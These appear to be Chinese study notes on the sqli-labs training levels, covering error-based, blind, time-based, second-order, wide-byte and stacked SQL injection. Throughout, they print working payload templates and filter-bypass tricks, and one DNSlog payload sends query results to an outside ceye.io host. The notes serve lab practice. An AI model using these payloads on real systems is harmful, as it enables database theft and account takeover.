sql-lab 通關筆記
sql-lab
less1-4
-
加單引號報錯得到報錯資訊

-
根據報錯資訊判斷閉合條件

-
order by找欄位數

-
union select找回顯位置

-
找到回顯位置正常爆數據

-
相同類型其他關卡



後端程式碼分析
GET方式獲取id,單引號閉合,將查詢到的數據輸出到頁面上

less5-10
-
加單引號得到報錯資訊

-
根據報錯資訊判斷閉合條件

-
order by找欄位數

-
union select沒有回顯位置

盲注
- 基於floor報錯的盲注

原理是利用group by 處理rand 函數進行處理時,會多次對同一列進行查詢,返回duplicate key 錯誤
利用公式
union Select 1,count(*),concat(你希望的查詢語句,floor(rand(0)*2))a from information_schema.columns group by a--+
- updatexml報錯注入
利用公式
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
- extractvalue報錯注入
利用公式
and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+
updatexml和extractvalue 在MySQL 5.1.5版本及以後版本中用於對XML文件進行處理,當Xpath 路徑出錯時會報錯。
3. 基於bool判斷的盲注
利用公式
' or Length(database()) = 8--+
根據頁面是否返回正常判斷bool判斷是否正確。
4. 基於時間的盲注
利用公式
' and if((select length(database())>7)>0,sleep(5),null) --+
sleep()和benchmark()可以用於延時注入,根據頁面響應時間判斷是否正確。
5. DNSlog平台盲注
DNSlog注入原理通過子查詢,將內容拼接到域名內,讓load_file()去訪問共享文件,訪問的域名被記錄此時變為顯錯注入,將盲注變顯錯注入,讀取遠程共享文件,通過拼接出函數做查詢,拼接到域名中,訪問時將訪問伺服器,記錄後查看日誌。可用於SQL注入中的盲注,XSS盲打,無回顯的命令執行,無回顯的SSRF,無回顯的XXE(Blind XXE)。用於SQL盲注時需要滿足secure_file_priv 為空。

利用公式
' and load_file(concat('\\\\',(select database()),'.**.ceye.io\\sql'))--+
sql-lab利用DNSlog平台注入
後端程式碼分析
GET方式獲取id,單引號閉合,如果在資料庫中查詢到相關資訊,返回特定資訊作為flag,否則返回資料庫錯誤資訊。

less11-14
post 類型聯合查詢注入
1.判斷

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名和密碼,單引號閉合,並將查詢的數據顯示在頁面上。

post 類型盲注
1.判斷

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名和密碼,單引號閉合,查詢的數據不顯示在頁面上,只顯示一個登陸成功的圖片。

less15-16
沒有錯誤回顯時,可以藉助or 1=1或者and 1=1以及order by判斷閉合方式,有查詢內容回顯時也可以藉助union select共同判斷。
沒有錯誤回顯也沒有內容回顯,不能使用報錯注入,只能使用布爾和時間盲注。
- 判斷閉合

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名和密碼,單引號閉合,查詢的數據不顯示在頁面上,只顯示一個登陸成功的圖片,不顯示報錯資訊。

less17-22
不同注入點的注入類型
注入點在password 處
常見重置密碼等資料庫更新資料庫的情況下
1.判斷

2.爆數據

3.後端程式碼分析
POST方式獲取用戶名,然後再在更新密碼處拼合,所以注入點在password。

注入點在usagent 處
1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合。

2.後端程式碼分析
先獲取用戶名,在將ip資訊和usagent資訊插入資料庫,原查詢語句有過濾,所以沒有漏洞。

注入點在referer 處
1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合。

2.後端程式碼分析
先獲取用戶名,在將referer資訊和usagent資訊插入資料庫,原查詢語句有過濾,所以沒有漏洞。

注入點在cookie 處
1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合。

2.後端程式碼分析
前面查詢用戶的數據處做了過濾,後面又通過cookie 查詢數據,存在注入。

cookie 注入base64編碼
1.注入單引號閉合,不能使用連接符+連接語句,不能使用注釋符閉合,對注入語句進行base64編碼。

2.後端程式碼分析
主要對cookie 進行了base64編碼

less23-28a
過濾繞過
過濾注釋符
1.注入單引號閉合,不能使用注釋符,使用and 和or 閉合語句。

2.後端程式碼分析
過濾了注釋符

二次注入繞過過濾
1.註冊一個新帳號admin'#

2.修改新註冊帳號admin'# 的密碼

3.實際上修改了admin 的密碼

4.後端程式碼分析
通過注釋符更新其他用戶密碼

過濾and和or
1.雙寫繞過

2.後端程式碼分析
匹配一次並替換成空格

過濾一大堆
1.and和or雙寫繞過,單引號閉合代替注釋,括弧代替空格,盲注

2.後端程式碼分析
過濾了一大堆

less29-31
兩層服務架構,參數污染繞WAF
//blog.csdn.net/m0_54899775/article/details/122156208
less32-37
寬位元組注入
1.通過%bf或者其他ascii碼大於128的字元進行繞過

2.後端程式碼分析
addslashes函數轉換' 為'

post 類型寬位元組注入
1.將 utf-8 轉換為 utf-16 或 utf-32,例如將 '轉為 utf-16 為 � ' ,進行注入

//www.cnblogs.com/bmjoker/p/9134830.html
less38-45
堆疊注入
用戶採用PDO編程( POD(PHP Data Object))且沒有對參數進行過濾
mysqli_multi_query()函數也可以造成堆疊注入

//blog.csdn.net/weixin_42530572/article/details/106439380
1.堆疊插入一條數據。

2.後端程式碼分析
使用函數mysqli_multi_query(),可同時執行多條sql語句

post類型堆疊注入
1.堆疊插入一條數據

//bc.twsec.com.cn/sqli1/Less-42/login.php
less46-53
order by語句與limit語句的注入
order by 注入
1.報錯注入

2.後端程式碼分析
order by 後面是注入點,不能使用union select 注入,使用報錯注入或盲注

//blog.csdn.net/m0_54899775/article/details/122202855
less54-75
前面的內容,練習鞏固。
















